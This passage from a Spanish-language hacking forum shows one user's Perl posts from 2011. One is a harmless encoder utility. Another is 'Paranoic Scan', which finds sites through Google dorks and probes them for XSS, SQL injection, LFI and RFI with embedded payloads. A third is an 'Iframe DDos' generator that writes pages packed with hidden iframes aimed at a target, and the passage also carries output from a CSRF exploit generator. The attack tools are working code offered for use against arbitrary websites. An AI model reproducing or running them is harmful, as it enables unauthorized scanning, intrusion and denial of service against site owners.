[+] Action : /
[+] Method : POST

-- == Input == --

Type            Name            Value
text            ac
submit          ee              aaa


[+] Form to generate : 1

[+] Value of the ver : aaa

[+] Value of the veras : aaa

[+] Value of the control : aaa


[+] CSRF Exploit Generated

[+] To can see in logscsrf/localhost.html



 -- == Doddy Hackman 2011 == --


538  Programación / Scripting / [Perl] Codificator version consola en: 7 Octubre 2011, 01:16 am
Un simple codificador

Soportes :


  • Hex encode/decode
  • MD5 encode
  • Base64 encode/decode
  • ASCII encode/decode
  • URL encode/decode
Código
  1. #!usr/bin/perl
  2. #Codificator version consola (C) Doddy Hackman 2011
  3. #This tool encode in :
  4. #
  5. #Hex
  6. #MD5
  7. #Base64
  8. #ASCII
  9. #URL
  10. #
  11. #
  12.  
  13. use Digest::MD5;
  14. use Digest::SHA1;
  15. use MIME::Base64;
  16. use URI::Escape;
  17.  
  18. sub head {
  19. system("cls");
  20.  
  21.  
  22.  
  23.  @@@            @ @   @ @             @          
  24. @   @           @    @                @          
  25. @       @@@   @@ @ @ @@@ @  @@@   @@@ @@@  @@@  @ @
  26. @      @   @ @  @@ @  @  @ @   @ @   @ @  @   @ @@
  27. @      @   @ @   @ @  @  @ @      @@@@ @  @   @ @  
  28. @      @   @ @   @ @  @  @ @     @   @ @  @   @ @  
  29. @   @ @   @ @  @@ @  @  @ @   @ @  @@ @  @   @ @  
  30.  @@@   @@@   @@ @ @  @  @  @@@   @@ @ @@  @@@  @  
  31.  
  32.  
  33.  
  34. );
  35. }
  36.  
  37. head();
  38. print "\n[+] Options\n\n";
  39. 1 - MD5 encode
  40. 2 - Base64 encode
  41. 3 - Base64 decode
  42. 4 - Ascii encode
  43. 5 - Ascii decode
  44. 6 - Hex encode
  45. 7 - Hex decode
  46. 8 - URL encode
  47. 9 - URL decode
  48. 10 - Exit
  49.  
  50. );
  51. while(true) {
  52. print "\n\n[+] Option : ";
  53. chomp(my $op = <stdin>);
  54. print "\n\n";
  55. if ($op eq 1) {
  56. print "[+] String : ";
  57. chomp(my $string = <stdin>);
  58. print "\n\n[+] MD5 : ".Digest::MD5->md5_hex($string)."\n\n";
  59. }
  60. elsif ($op eq 2) {
  61. print "[+] String : ";
  62. chomp(my $string = <stdin>);
  63. print "\n\n[+] Base64 : ".encode_base64($string);
  64. }
  65. elsif ($op eq 3) {
  66. print "[+] String : ";
  67. chomp(my $string = <stdin>);
  68. print "\n\n[+] Base64 Decode : ".decode_base64($string)."\n";
  69. }
  70. elsif ($op eq 4) {
  71. print "[+] String : ";
  72. chomp(my $string = <stdin>);
  73. print "\n\n[+] Ascii : ".join ',',unpack "U*",$string;
  74. print "\n";
  75. }
  76. elsif ($op eq 5) {
  77. print "[+] String : ";
  78. chomp(my $string = <stdin>);
  79. print "\n\n[+] Ascii decode : ".join q[], map { chr } split q[,],$string."\n";
  80. print "\n";
  81. }
  82. elsif ($op eq 6) {
  83. print "[+] String : ";
  84. chomp(my $string = <stdin>);
  85. $hex = "0x";
  86. for (split //,$string) {
  87. $hex .= sprintf "%x", ord;
  88. }
  89. print "\n\n[+] Hex : ".$hex."\n";
  90. }
  91. elsif ($op eq 7) {
  92. print "[+] String : ";
  93. chomp(my $string = <stdin>);
  94. $string =~ s/^0x//;
  95. $encode = join q[], map { chr hex } $string =~ /../g;
  96. print "\n\n[+] Hex decode : ".$encode."\n";
  97. }
  98. elsif ($op eq 8) {
  99. print "[+] String : ";
  100. chomp(my $string = <stdin>);
  101. print "\n\n[+] URL Encode : ".uri_escape($string)."\n";
  102. }
  103. elsif ($op eq 9) {
  104. print "[+] String : ";
  105. chomp(my $string = <stdin>);
  106. print "\n\n[+] URL Decode : ".uri_unescape($string)."\n";
  107. }
  108. elsif ($op eq 10) {
  109. copyright();
  110. exit(1);
  111. }
  112. else {
  113. print "[+] Write good stupid !\n";
  114. }
  115. }
  116.  
  117. sub copyright {
  118. print "\n-- == Doddy Hackman 2011 == --\n\n";
  119. }
  120.  
  121. # ¿The End ?


Ejemplo de uso


Código:




  @@@            @ @   @ @             @
 @   @           @    @                @
@       @@@   @@ @ @ @@@ @  @@@   @@@ @@@  @@@  @ @
@      @   @ @  @@ @  @  @ @   @ @   @ @  @   @ @@
@      @   @ @   @ @  @  @ @      @@@@ @  @   @ @
@      @   @ @   @ @  @  @ @     @   @ @  @   @ @
 @   @ @   @ @  @@ @  @  @ @   @ @  @@ @  @   @ @
  @@@   @@@   @@ @ @  @  @  @@@   @@ @ @@  @@@  @




[+] Options


1 - MD5 encode
2 - Base64 encode
3 - Base64 decode
4 - Ascii encode
5 - Ascii decode
6 - Hex encode
7 - Hex decode
8 - URL encode
9 - URL decode
10 - Exit



[+] Option :
539  Programación / Scripting / [Perl] Paranoic Scan 0.9 en: 7 Octubre 2011, 01:15 am
La misma herramienta de siempre pero le agregue dos cosas nuevas

  • XSS POST & GET
  • SQL POST & GET
Código
  1. #!usr/bin/perl
  2. #Paranoic Scan 0.9 Updated
  3. #(c)0ded by Doddy H 2010
  4. #
  5. #Search in google with a dork
  6. #Scan type :
  7. #
  8. #XSS
  9. #Full Source Discloure
  10. #LFI
  11. #RFI
  12. #SQL GET & POST
  13. #MSSQL
  14. #Oracle
  15. #Jet Database
  16. #Find HTTP Options y Server nAME
  17. #
  18. #
  19.  
  20. use LWP::UserAgent;
  21. use HTML::LinkExtor;
  22. use HTML::Form;
  23. use URI::Split qw(uri_split);
  24. use IO::Socket;
  25.  
  26. my $nave = LWP::UserAgent->new;
  27. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  28. $nave->timeout(5);
  29.  
  30. installer();
  31.  
  32. sta();
  33.  
  34. sub sta {
  35. sub head {
  36. system 'cls';
  37.  
  38.  
  39. @@@@@   @   @@@@     @   @@  @@@  @@@   @@@  @@@@     @@@   @@@@    @   @@  @@@
  40. @  @   @    @  @    @    @@  @  @   @   @  @   @    @  @  @   @    @    @@  @
  41. @  @  @ @   @  @   @ @   @@  @ @     @  @ @         @    @        @ @   @@  @
  42. @@@   @ @   @@@    @ @   @ @ @ @     @  @ @          @@  @        @ @   @ @ @
  43. @    @@@@@  @ @   @@@@@  @ @ @ @     @  @ @            @ @       @@@@@  @ @ @
  44. @    @   @  @  @  @   @  @  @@  @   @   @  @   @    @  @  @   @  @   @  @  @@
  45. @@@  @@@ @@@@@@  @@@@ @@@@@@  @   @@@   @@@  @@@     @@@    @@@  @@@ @@@@@@  @
  46.  
  47.  
  48.  
  49.  
  50. );
  51. }
  52. &menu;
  53. sub menu {
  54. &head;
  55. print "[a] : Scan a File\n";
  56. print "[b] : Search in google and scan the webs\n\n";
  57. print "[option] : ";
  58. chomp(my $op = <STDIN>);
  59. if ($op =~/a/ig) {
  60. print "\n[+] Wordlist : ";
  61. chomp(my $word = <STDIN>);
  62. my @paginas = repes(cortar(savewords($word)));
  63. my $option = &men;
  64. print "\n\n[+] Opening File\n";
  65. scan($option,@paginas);
  66. }
  67. elsif ($op=~/b/ig) {
  68. print "\n[+] Dork : ";
  69. chomp(my $dork = <STDIN>);
  70. print "[+] Pages : ";
  71. chomp(my $pag = <STDIN>);
  72. my $option = &men;
  73. print "\n\n[+] Searching in google\n";
  74. my @paginas = &google($dork,$pag);
  75. scan($option,@paginas);
  76. }
  77. else {
  78. &menu;
  79. }
  80. }
  81. sub scan {
  82. my ($option,@webs) = @_;
  83. print "\n\n[Status] : Scanning\n";
  84. print "[Webs Count] : ".int(@webs)."\n\n\n";
  85. for(@webs) {
  86. if ($option=~/S/ig) {
  87. scansql($_);
  88. }
  89. if ($option=~/L/ig) {
  90. lfi($_);
  91. }
  92. if ($option=~/R/ig) {
  93. rfi($_);
  94. }
  95. if ($option=~/F/ig) {
  96. fsd($_);
  97. }
  98. if ($option=~/X/ig) {
  99. scanxss($_);
  100. }
  101. if ($option=~/M/ig) {
  102. mssql($_);
  103. }
  104. if ($option=~/J/ig) {
  105. access($_);
  106. }
  107. if ($option=~/O/ig) {
  108. oracle($_);
  109. }
  110. if ($option=~/HT/ig) {
  111. http($_);
  112. }
  113. if ($option=~/A/ig) {
  114. scansql($_);
  115. scanxss($_);
  116. mssql($_);
  117. access($_);
  118. oracle($_);
  119. lfi($_);
  120. rfi($_);
  121. fsd($_);
  122. http($_);
  123. }
  124. }
  125. }
  126. print "\n\n[Status] : Finish\n";
  127. &finish;
  128. }
  129.  
  130. sub toma {
  131. return $nave->get($_[0])->content;
  132. }
  133.  
  134. sub savefile {
  135. open (SAVE,">>logs/".$_[0]);
  136. print SAVE $_[1]."\n";
  137. close SAVE;
  138. }
  139.  
  140. sub finish {
  141. print "\n\n\n(C) Doddy Hackman 2010\n\n";
  142. <STDIN>;
  143. sta();
  144. }
  145.  
  146. sub google {
  147. my($a,$b) = @_;
  148. for ($pages=10;$pages<=$b;$pages=$pages+10) {
  149. $code = toma("http://www.google.com.ar/search?hl=&q=".$a."&start=$pages");
  150. my @links = get_links($code);
  151. for my $l(@links) {
  152. if ($l =~/webcache.googleusercontent.com/) {
  153. push(@url,$l);
  154. }
  155. }
  156. }
  157.  
  158. for(@url) {
  159. if ($_ =~/cache:(.*?):(.*?)\+/) {
  160. push(@founds,$2);
  161. }
  162. }
  163.  
  164. my @founds = repes(cortar(@founds));
  165. return @founds;
  166. }
  167.  
  168.  
  169.  
  170. sub http {
  171.  
  172. my ($scheme, $auth, $path, $query, $frag)  = uri_split($_[0]);
  173.  
  174. my $socket = IO::Socket::INET->new(
  175. PeerAddr=>$auth,
  176. PeerPort=>"80",
  177. Proto=>"tcp");
  178.  
  179. print $socket "OPTIONS  / HTTP/1.0\r\n\r\n";
  180. read $socket,$resultado,"1000";
  181.  
  182. if ($resultado=~/Server:(.*)/g) {
  183. my $server = $1;
  184.  
  185. savefile("http-logs.txt","[+] Page : $auth"."\n");
  186. savefile("http-logs.txt","[+] Server : ".$server."\n");
  187. }
  188. if ($resultado=~/Allow: (.*)/g) {
  189. my $options = $1;
  190. savefile("http-logs.txt","[+] Options : ".$options."\n");
  191. }
  192. $socket->close;
  193. }
  194.  
  195. sub scanxss {
  196.  
  197. my $page = shift;
  198. chomp $page;
  199.  
  200. my @testar = HTML::Form->parse(toma($page),"/");
  201. my @botones_names;
  202. my @botones_values;
  203. my @orden;
  204. my @pa = ("<script>alert(String.fromCharCode(101,115,116,111,121,100,101,110,117,101,118,111,101,110,101,115,116,111))</script>",'"><script>alert(String.fromCharCode(101,115,116,111,121,100,101,110,117,101,118,111,101,110,101,115,116,111))</script>');
  205. my @get_founds;
  206. my @post_founds;
  207. my @ordenuno;
  208. my @ordendos;
  209.  
  210. my $contador_forms = 0;
  211.  
  212. my $valor = "doddyhackman";
  213.  
  214. for my $test(@testar) {
  215. $contador_forms++;
  216. if ($test->method eq "POST") {
  217. my @inputs = $test->inputs;
  218. for my $in(@inputs) {
  219. if ($in->type eq "submit") {
  220. if ($in->name eq "") {
  221. push(@botones_names,"submit");
  222. }
  223. push(@botones_names,$in->name);
  224. push(@botones_values,$in->value);
  225. } else {
  226. push(@ordenuno,$in->name,$pa[0]);
  227. push(@ordendos,$in->name,$pa[1]);
  228. }}
  229.  
  230. for my $n(0..int(@botones_names)-1) {
  231. my @preuno = @ordenuno;
  232. my @predos = @ordendos;
  233. push(@preuno,$botones_names[$n],$botones_values[$n]);
  234. push(@predos,$botones_names[$n],$botones_values[$n]);
  235.  
  236. my $codeuno = $nave->post($page,\@preuno)->content;
  237. my $codedos = $nave->post($page,\@predos)->content;
  238. if ($codeuno=~/<script>alert\(String.fromCharCode\(101,115,116,111,121,100,101,110,117,101,118,111,101,110,101,115,116,111\)\)<\/script>/ig or
  239. $codedos=~/<script>alert\(String.fromCharCode\(101,115,116,111,121,100,101,110,117,101,118,111,101,110,101,115,116,111\)\)<\/script>/ig) {
  240. if ($test->attr(name) eq "" or $test->attr(name) eq " ") {
  241. push(@post_founds,$contador_forms);
  242. } else {
  243. push(@post_founds,$test->attr(name));
  244. }}}
  245. } else { #Fin de metodo POST
  246. my @inputs = $test->inputs;
  247. for my $in(@inputs) {
  248. if ($in->type eq "submit") {
  249. if ($in->name eq "") {
  250. push(@botones_names,"submit");
  251. }
  252. push(@botones_names,$in->name);
  253. push(@botones_values,$in->value);
  254. } else {
  255. $orden.=''.$in->name.'='.$valor.'&';
  256. }}
  257. chop($orden);
  258. for my $n(0..int(@botones_names)-1) {
  259. my $partedos = "&".$botones_names[$n]."=".$botones_values[$n];
  260. my $final = $orden.$partedos;
  261. for my $strin(@pa) {
  262. chomp $strin;
  263. $final=~s/doddyhackman/$strin/;
  264. $code = toma($page."?".$final);
  265. my $strin = "\Q$strin\E";
  266. if ($code=~/$strin/) {
  267. push(@get_founds,$page."?".$final);
  268. }}}}}
  269.  
  270. my @get_founds = repes(@get_founds);
  271. if (int(@get_founds) ne 0) {
  272. for(@get_founds) {
  273. savefile("xss-logs.txt","[+] XSS Found : $_");
  274. print "[+] XSS Found : $_\n\a";
  275. }}
  276.  
  277. my @post_founds = repes(@post_founds);
  278. if (int(@post_founds) ne 0) {
  279. for my $t(@post_founds) {
  280. if ($t =~/^\d+$/) {
  281. savefile("xss-logs.txt","[+] XSS : Form $t in $page");
  282. print "[+] XSS : Form $t in $page\n\a";
  283. }}}}
  284.  
  285.  
  286. sub scansql {
  287.  
  288. my $page = shift;
  289. my $copia = $page;
  290.  
  291. $co = toma($page."'");
  292.  
  293. if ($co=~ /supplied argument is not a valid MySQL result resource in <b>(.*)<\/b> on line /ig || $co=~ /mysql_free_result/ig || $co =~ /mysql_fetch_assoc/ig ||$co =~ /mysql_num_rows/ig || $co =~ /mysql_fetch_array/ig || $co =~/mysql_fetch_assoc/ig || $co=~/mysql_query/ig || $co=~/mysql_free_result/ig || $co=~/equivocado en su sintax/ig || $co=~/You have an error in your SQL syntax/ig || $co=~/Call to undefined function/ig) {
  294. savefile("sql-logs.txt","[+] SQL : $page");
  295. print "[+] SQLI : $page\a\n";
  296. }
  297.  
  298. if ($page=~/(.*)\?(.*)/) {
  299. my $page = $1;
  300.  
  301. my @testar = HTML::Form->parse(toma($page),"/");
  302. my @botones_names;
  303. my @botones_values;
  304. my @orden;
  305. my @get_founds;
  306. my @post_founds;
  307. my @ordenuno;
  308. my @ordendos;
  309.  
  310. my $contador_forms = 0;
  311.  
  312. my $valor = "doddyhackman";
  313.  
  314. for my $test(@testar) {
  315. $contador_forms++;
  316. if ($test->method eq "POST") {
  317. my @inputs = $test->inputs;
  318. for my $in(@inputs) {
  319. if ($in->type eq "submit") {
  320. if ($in->name eq "") {
  321. push(@botones_names,"submit");
  322. }
  323. push(@botones_names,$in->name);
  324. push(@botones_values,$in->value);
  325. } else {
  326. push(@ordenuno,$in->name,"'");
  327. }}
  328.  
  329. for my $n(0..int(@botones_names)-1) {
  330. my @preuno = @ordenuno;
  331. push(@preuno,$botones_names[$n],$botones_values[$n]);
  332. my $code = $nave->post($page,\@preuno)->content;
  333. if ($code=~ /supplied argument is not a valid MySQL result resource in <b>(.*)<\/b> on line /ig || $code=~ /mysql_free_result/ig || $code =~ /mysql_fetch_assoc/ig ||$code =~ /mysql_num_rows/ig || $code =~ /mysql_fetch_array/ig || $code =~/mysql_fetch_assoc/ig || $code=~/mysql_query/ig || $code=~/mysql_free_result/ig || $code=~/equivocado en su sintax/ig || $code=~/You have an error in your SQL syntax/ig || $code=~/Call to undefined function/ig) {
  334. if ($test->attr(name) eq "" or $test->attr(name) eq " ") {
  335. push(@post_founds,$contador_forms);
  336. } else {
  337. push(@post_founds,$test->attr(name));
  338. }}}}
  339.  
  340. my @post_founds = repes(@post_founds);
  341. if (int(@post_founds) ne 0) {
  342. for my $t(@post_founds) {
  343. if ($t =~/^\d+$/) {
  344. savefile("sql-logs.txt","[+] SQLI : Form $t in $page");
  345. print "[+] SQLI : Form $t in $page\n\a";
  346. }}}}}}
  347.  
  348. sub access {
  349.  
  350. my $page = shift;
  351. $code1 = toma($page."'");
  352. if ($code1=~/Microsoft JET Database/ig or $code1=~/ODBC Microsoft Access Driver/ig) {
  353. print "[+] Jet DB : $page\a\n";
  354. savefile("jetdb-logs.txt",$page);
  355. }
  356. }
  357.  
  358. sub mssql {
  359.  
  360. my $page = shift;
  361. $code1 = toma($page."'");
  362. if ($code1=~/ODBC SQL Server Driver/ig) {
  363. print "[+] MSSQL : $page\a\n";
  364. savefile("mssql-logs.txt",$page);
  365. }
  366. }
  367.  
  368. sub oracle {
  369.  
  370. my $page = shift;
  371. $code1 = toma($page."'");
  372. if ($code1=~/Microsoft OLE DB Provider for Oracle/ig) {
  373. print "[+] Oracle : $page\a\n";
  374. savefile("oracle-logs.txt",$page);
  375. }
  376. }
  377.  
  378. sub rfi {
  379. my $page = shift;
  380. $code1 = toma($page."http:/www.supertangas.com/");
  381. if ($code1=~/Los mejores TANGAS de la red/ig) { #Esto es conocimiento de verdad xDDD
  382. print "[+] RFI : $page\a\n";
  383. savefile("rfi-logs.txt",$page);
  384. }}
  385.  
  386. sub lfi {
  387. my $page = shift;
  388. $code1 = toma($page."'");
  389. if ($code1=~/No such file or directory in <b>(.*)<\/b> on line/ig) {
  390. print "[+] LFI : $page\a\n";
  391. savefile("lfi-logs.txt",$page);
  392. }}
  393.  
  394. sub fsd {
  395. my $page = shift;
  396. my ($scheme, $auth, $path, $query, $frag)  = uri_split($page);
  397. if ($path=~/\/(.*)$/) {
  398. my $me = $1;
  399. $code1 = toma($page.$me);
  400. if ($code1=~/header\((.*)Content-Disposition: attachment;/ig) {
  401. print "[+] Full Source Discloure : $page\a\n";
  402. savefile("fpd-logs.txt",$page);
  403. }}}
  404.  
  405. sub repes {
  406. my @limpio;
  407. foreach $test(@_) {
  408. push @limpio,$test unless $repe{$test}++;
  409. }
  410. return @limpio;
  411. }
  412.  
  413. sub savewords {
  414. open (FILE,$_[0]);
  415. @words = <FILE>;
  416. close FILE;
  417. for(@words) {
  418. push(@r,$_);
  419. }
  420. return(@r);
  421. }
  422.  
  423. sub men {
  424. print "\n\n[+] Scan Type : \n\n";
  425. print "[X] : XSS\n";
  426. print "[S] : SQL\n";
  427. print "[M] : MSSQL\n";
  428. print "[J] : Jet Database\n";
  429. print "[O] : Oracle\n";
  430. print "[L] : LFI\n";
  431. print "[R] : RFI\n";
  432. print "[F] : Full Source Discloure\n";
  433. print "[HT] : HTTP Information\n";
  434. print "[A] : All\n\n";
  435. print "\n[Options] : ";
  436. chomp(my $option = <STDIN>);
  437. return $option;
  438. }
  439.  
  440. sub cortar {
  441. my @nuevo;
  442. for(@_) {
  443. if ($_ =~/=/) {
  444. @tengo = split("=",$_);
  445. push(@nuevo,@tengo[0]."=");
  446. } else {
  447. push(@nuevo,$_);
  448. }}
  449. return @nuevo;
  450. }
  451.  
  452. sub get_links {
  453.  
  454. $test = HTML::LinkExtor->new(\&agarrar)->parse($_[0]);
  455. return @links;
  456.  
  457. sub agarrar {
  458. my ($a,%b) = @_;
  459. push(@links,values %b);
  460. }
  461. }
  462.  
  463.  
  464. sub installer {
  465. unless (-d "logs/") {
  466. mkdir("logs/","777");
  467. }
  468. }
  469.  
  470. # ¿ The End ?
  471.  

Ejemplo de uso


Código:



@@@@@   @   @@@@     @   @@  @@@  @@@   @@@  @@@@     @@@   @@@@    @   @@  @@@
 @  @   @    @  @    @    @@  @  @   @   @  @   @    @  @  @   @    @    @@  @
 @  @  @ @   @  @   @ @   @@  @ @     @  @ @         @    @        @ @   @@  @
 @@@   @ @   @@@    @ @   @ @ @ @     @  @ @          @@  @        @ @   @ @ @
 @    @@@@@  @ @   @@@@@  @ @ @ @     @  @ @            @ @       @@@@@  @ @ @
 @    @   @  @  @  @   @  @  @@  @   @   @  @   @    @  @  @   @  @   @  @  @@
@@@  @@@ @@@@@@  @@@@ @@@@@@  @   @@@   @@@  @@@     @@@    @@@  @@@ @@@@@@  @




[a] : Scan a File
[b] : Search in google and scan the webs

[option] :
540  Programación / Scripting / [Perl] Iframe DDos Attack Tool en: 7 Octubre 2011, 01:15 am
Un simple poc para la los ataques de denegacion de servicio usando
iframes.


Código
  1. #!usr/bin/perl
  2. #Iframe DDos Attack Tool (C) Doddy Hackman 2011
  3.  
  4. use Cwd;
  5.  
  6. installer();
  7.  
  8. sub head {
  9. print "\n\n-- == Iframe DDos Attack Tool == --\n\n";
  10. }
  11.  
  12. sub copyright {
  13. print "\n\n -- == Doddy Hackman 2011\n\n";
  14. }
  15.  
  16. sub sintax {
  17. print "\n[+] sintax : $0 <target> <count file> <count iframe>\n";
  18. }
  19.  
  20. sub start {
  21. my ($target,$files,$iframe) = @_;
  22. print "\n[+] Starting the party\n\n";
  23. print "[+] Generating files and iframes\n";
  24. print "\n[+] All Save in ".getcwd()."/files/"."\n";
  25. for my $can(1..$files) {
  26. open (POC,">>files/index".$can.".html");
  27. for my $tx(1..$iframe) {
  28. print POC '<iframe src="'.$target.'" width="3" height="3"></iframe><br>';
  29. }
  30. close POC;
  31. }
  32. }
  33.  
  34. head();
  35. unless(@ARGV > 2) {
  36. sintax();
  37. } else {
  38. start($ARGV[0],$ARGV[1],$ARGV[2]);
  39. }
  40. copyright();
  41.  
  42. sub installer {
  43. unless (-d "files/") {
  44. mkdir("files/","777");
  45. }}
  46.  
  47. # ¿ The End ?
  48.  
Ejemplo de uso

Código:

C:\Documents and Settings\Administrador\Escritorio\Leviatan\Hacking\WarFactoy II
 Finales\poc iframe>poc.pl "pepo.com" 4 4


-- == Iframe DDos Attack Tool == --


[+] Starting the party

[+] Generating files and iframes

[+] All Save in C:/Documents and Settings/Administrador/Escritorio/Leviatan/Hack
ing/WarFactoy II Finales/poc iframe/files/


 -- == Doddy Hackman 2011

Páginas: 1 ... 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 [54] 55
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines